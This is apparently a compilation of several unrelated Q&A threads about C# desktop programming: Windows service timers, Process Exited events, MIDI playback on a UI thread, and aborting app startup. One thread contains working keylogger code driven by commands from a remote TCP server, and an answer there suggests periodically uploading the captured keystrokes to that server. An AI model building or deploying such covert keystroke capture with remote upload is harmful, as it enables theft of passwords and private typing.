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C# Windows Service, Timer won't tick

I have poked around here to try and find a resolved issue to help me solve my problem. Unfortunately I don't know enough about C# and Forms/Services to be able to interpret many of the answers, so I thought I'd post my issue here, in it's uniqueness, and see if I can get a sufficient answer.
I recently got an internship for a local company, learning C# and SQL to manage their shipping/inventory logistics.
I have gotten pretty good at creating windows forms with VisualStudios2017, and my knowledge of Java helps me pick up C# pretty quickly.
However, recently I was given the task of developing a Windows Service, which will run in the background, and do some repetitive task every minute or so.
Since I am familiar with the "Drag and Drop" techniques of adding features to windows forms, My supervisor suggested I use a Timer in my service, so, that's what I did, I did a "Drag and Drop" to add the timer component to my service, and renamed it "timerMainTick"
Here is My code. I want to start simple, all this code does is move to some local directory (henceforth referred to as $DIR), create a folder $DIR/GabbServiceDir, and make a text file $DIR/GabbServiceDir/AnotherTest.txt". However, every time the timer ticks, it is supposed to create (if it does not already exist) a new text document "$DIR/GabbServiceDir/Test.txt" and append the date-time to it every 2.5 seconds. This does not happen.
namespace GabbService
{
public partial class GabbService : ServiceBase
{
public string dir = "../../Users/Tyler/GabbServiceDir";
public GabbService()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
Directory.CreateDirectory(dir);
timerMainTick.Interval = 2500; //miliseconds = 2.5seconds
File.AppendAllText(dir + "/AnotherTest.txt","asdiofbhjasdflikjbasdf\r\n");
timerMainTick.Enabled = true;
timerMainTick.Start();
}
protected override void OnStop()
{
}
private void timerMainTick_Tick(object sender, EventArgs e)
{
timerMainTick.Enabled = false;
File.AppendAllText(dir + "/Test.txt", DateTime.Now.ToString() + "\r\n");
timerMainTick.Enabled = true;
}
}
}
And a picture of the directory and it's contents after the service was started.
This is in Powershell, in $DIR/GabbServiceDir
PS C:\Users\Tyler\GabbServiceDir> ls
Directory: C:\Users\Tyler\GabbServiceDir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2017 9:54 PM 72 AnotherTest.txt
PS C:\Users\Tyler\GabbServiceDir> cat .\AnotherTest.txt
asdiofbhjasdflikjbasdf
timerMainTick is Windows.Forms.Timer, and many of the solutions provided indicate to use a different kind of timer, the System.Timers.Timer.
This is all well and good, and may fix my problem, but the issue comes when trying to do something when this new type of timer ticks. When I double click the Windows.Forms.Timer in the Service Designer, it automagically writes a bunch of source, and gives me a method to begin writing code in, that magically executes when the timer ticks. I am not yet familliar with all of the magic that is going on in the backround, because I've only begun to learn C# as of the day I got this internship. I don't know what to name the methods for custom objects so that the "backround magic" will work, thus I am unable to interperate some of the solutions provided for problems similar to mine.
Perhaps someone could enlighten me.
For instance. Say I go into the Designer Source Code, and add a component
private System.Timer.Timer timerSystemTimer;
Then, in the Service source code and alter the method that was previously
private void timerMainTick_Tick(object sender, EventArgs e)
To
private void timerSystemTimer_Tick(object sender, EventArgs e)
I get an error immediately:
The more reading I do the more I see lots of event handlers being passed around and I have yet to comprehend what they do. Perhaps what I need is a link to some good literature. I am capable of looking for this on my own but I imagine many people here may have links to other bits of good literature more specific to what I want to comprehend here.
*Something I have found so far that may be useful to people in my situation:
https://msdn.microsoft.com/en-us/library/aa288459(v=vs.71).aspx

Error in VS - You added timerSystemTimer but did not remove timerMainTick component which still references timerMainTick_Tick as handler of it's Tick event. Compiler does not find this handler method anymore since you changed it to timerSystemTimer_Tick.
Adding different timer - Never modify designer file code. You could add a System.Timers.Timer instance to your class code, instantiate it in OnStart and provide handler for Elapsed event. Here's a sample for you.

Why the Process Exited event raise automatic all the time?

In the top of Form1 i did:
private Process zipFileDirectoryProcess;
In the constructor i did:
zipFileDirectoryProcess = new Process();
zipFileDirectoryProcess.StartInfo.FileName = "explorer.exe";
zipFileDirectoryProcess.StartInfo.CreateNoWindow = true;
zipFileDirectoryProcess.EnableRaisingEvents = true;
zipFileDirectoryProcess.Exited += new EventHandler(zipFileDirectoryProcess_Exited);
Then i have a method i call it from a button click event:
private void Compress()
{
zipFileDirectoryProcess.StartInfo.Arguments = zipFileDirectoryProcess.StartInfo.Arguments = "/select," + Path.GetFullPath(t);
zipFileDirectoryProcess.Start();
zipFileDirectoryProcess.WaitForExit();
this.TopMost = true;
}
And then in the bottom the Exited event:
private void zipFileDirectoryProcess_Exited(object sender, EventArgs e)
{
this.BeginInvoke(new MethodInvoker(delegate()
{
this.TopMost = false;
}));
}
What i wanted to do is only when i close the process window after started it in the method only if closed the window/process then do the Exited event.
The problem is that once the process started after 2-3 seconds its jumping automatic to the Exited event.
How can i fix it ? Tried examples cant figure out.
Tried to add this line:
zipFileDirectoryProcess.WaitForExit();
But no effect.

zipFileDirectoryProcess.StartInfo.FileName = "explorer.exe";
Trying to start Windows Explorer again when it is already running, and it is always running, will have a disappointing outcome. It is a "heavy" process and it intentionally tries the minimize the number of running copies. Otherwise known as a "single-instance app". There are lots like that, the Microsoft Office programs are single instance apps for example.
So what really happens is that explorer.exe actually starts up, but sees that another instance is already running. And uses process interop to ask that first instance to do the job that you asked it to do. Since you didn't ask it to do anything, you just get another window, displayed by the first instance. The one that you started immediately quits, it doesn't have anything else to do.
So, yes, you'll see that the Exited event fires without you doing anything. Accurately telling you that the explorer.exe process you started did in fact quit. Easy to see in the Taskmgr.exe Processes tab btw. Waiting for that window to be closed is never going to work, it is displayed by the original instance of explorer.exe.
This will just not work the way you hope it will work. What you are actually trying to do is not quite obvious but can be guessed at. Creating a ZIP archive is not difficult, there are excellent libraries available for C# to get the job done, no point in asking another program to do it for you. DotNetZip and SharpZipLib are very popular. It got finally added to .NET as well in version 4.5, Microsoft finally getting over the lost Stacker lawsuit, about time. If you really, really want another program to do it for you then use a console mode zipper like 7-zip.

To show output folder in windows explorer to the user, it's simply enough to do this:
Process.Start("explorer.exe", OutputDir);

Library works when called in Form1, but not from anywhere else

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !

The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.

I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.

VS2010 C# function using a loop

I am currently implementing my final year project as a Music Software Development student.
I am making a software that plays a midi track that is generated earlier in the process.
In my interface, there is a button "play" and a button "stop".
When I click "play", a loop is called that plays this track. In this loop, I call a function from an instance of an other class.
What I would like is that when the user press "pause", the loop is temporary stopped, and when he press "pause" again, it goes back exactly where it was in the loop.
So far, when I press play, the track plays exactly how I want to, but I can't use any other element of my window until the loop is not completly processed.
Here is my code.
private void playStopButton_Click(object sender, RoutedEventArgs e)
{
// Initialising my output midi devices
outDevice.Send(new ChannelMessage(ChannelCommand.ProgramChange, information.bassChannel, information.bassSound));//bass
outDevice.Send(new ChannelMessage(ChannelCommand.ProgramChange, information.guitarChannel, information.guitarSound));//guitar
for (int barNum = 0; barNum < Globals.numberOfBars; barNum++)
{
// playing the first beat
rythmicPattern.play(0, ref outDevice, information, Globals.chordProgression.Bars[barNum].Chord);
//second beat
rythmicPattern.play(1, ref outDevice, information, Globals.chordProgression.Bars[barNum].Chord);
//thrid beat
rythmicPattern.play(2, ref outDevice, information, Globals.chordProgression.Bars[barNum].Chord);
//fourth beat
rythmicPattern.play(3, ref outDevice, information, Globals.chordProgression.Bars[barNum].Chord);
}
}
private void playPauseButton_Click(object sender, RoutedEventArgs e)
{
// test if the track is being played
if (isPlaying)
rythmicPattern.Pause();
else
// if it was already paused, playing back from where I stopped
rythmicPattern.PlayAfterPause(beatNumber);
}
Thank you for your help.
Greg

You must use threading where you can play the sound in another thread, so you can execute pause method
Check this link Multi-threading in .NET: Introduction and suggestions

How to stop a .NET application from loading if certain criteria aren't met

I need certain criteria to be met, a particular folder needs to be present on the c drive, before this app should load. How, during the load process, can I stop/quit the application.
I already have ascertained if the folder exists. In old VB projects you would just use 'Unload Me' but that isn't in C#. I tried Application.Exit() but that doesn't work under these circumstances and the app still loads, how do I stop it?

Open up Program.cs. In there you'll find you Main() method.
In there, put something like:
if (FolderDoesNotExist())
return ERROR_FOLDER_NOT_EXIST;
(replacing those symbolic names with other stuff as appropriate).

I would create an initialization function that would be the first item to be called from Main(). Depending on your output and how long your initialization takes you can even use a splash window to inform the user about progress. Once all initialization is completed, you can decide if you start the app or not.

// In the main initialization of the main form (in XXX.Designer.cs file InitializeComponent(), for example)
this.Load += new System.EventHandler(this.CheckProcesses);
// The CheckProcess method
private void CheckProcesses(object sender, EventArgs e)
{
try { if (SomethingIsWrongWithThatFolder()) this.Close(); }
catch { }
}
// This will shut the process of your app before the UI actually loads. So, your user doesn't see anything at all